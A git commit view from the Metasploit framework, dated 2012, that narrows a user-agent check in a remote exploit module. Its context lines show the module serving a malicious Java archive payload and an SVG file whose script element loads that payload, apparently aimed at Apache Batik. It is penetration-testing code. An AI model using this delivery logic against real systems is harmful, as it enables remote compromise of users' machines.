errata fixed

unstable
jvazquez-r7 2012-05-17 17:23:16 +02:00
parent 14d8ba00af
commit 0fd3f96720
1 changed files with 1 additions and 1 deletions

View File

@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending jar payload") print_status("Sending jar payload")
send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'}) send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})
elsif agent =~ /Batik/ or agent =~ /Mozilla/ elsif agent =~ /Batik/
svg = %Q| svg = %Q|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="#{jar_uri}"/> <script type="application/java-archive" xlink:href="#{jar_uri}"/>